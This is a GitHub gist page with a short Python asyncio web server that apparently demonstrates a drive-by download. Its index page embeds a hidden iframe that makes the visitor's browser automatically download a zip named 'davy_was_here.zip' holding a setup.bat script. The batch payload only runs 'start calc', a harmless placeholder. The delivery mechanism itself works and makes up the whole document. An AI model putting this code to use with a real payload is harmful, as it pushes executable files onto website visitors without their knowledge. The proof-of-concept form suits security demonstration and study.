Skip to content

Instantly share code, notes, and snippets.

@wybiral
Last active February 17, 2022 05:43
Show Gist options
  • Save wybiral/bcb70d42d11f70f805f85c833000c155 to your computer and use it in GitHub Desktop.
Save wybiral/bcb70d42d11f70f805f85c833000c155 to your computer and use it in GitHub Desktop.
import asyncio
import zipfile
from io import BytesIO
async def handler(r, w):
line = await r.readline()
try:
method, path, version = line.split(b' ', 2)
except:
w.close()
return
# consume request
while True:
line = await r.readline()
if not line or line == b'\r\n':
break
# dispatch
if path == b'/':
await handle_index(r, w)
elif path == b'/asset':
await handle_asset(r, w)
w.close()
async def handle_index(r, w):
w.write(b'HTTP/1.1 200 OK\r\n')
w.write(b'Content-Type: text/html; charset=utf-8\r\n')
w.write(b'\r\n')
w.write(b'<iframe style="visibility:hidden" src="/asset"></iframe>')
await w.drain()
async def handle_asset(r, w):
w.write(b'HTTP/1.1 200 OK\r\n')
w.write(b'Content-Type: application/octet-stream\r\n')
w.write(b'Content-Disposition: attachment; filename="davy_was_here.zip"\r\n')
w.write(b'\r\n')
f = BytesIO()
with zipfile.ZipFile(f, mode='w', compression=zipfile.ZIP_DEFLATED) as zf:
zf.writestr('setup.bat', 'start calc')
w.write(f.getvalue())
await w.drain()
async def main(host='0.0.0.0', port=8666):
s = await asyncio.start_server(handler, host, port)
print('Serving at http://{}:{}'.format(host, port))
await s.serve_forever()
try:
asyncio.run(main())
except KeyboardInterrupt:
pass
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment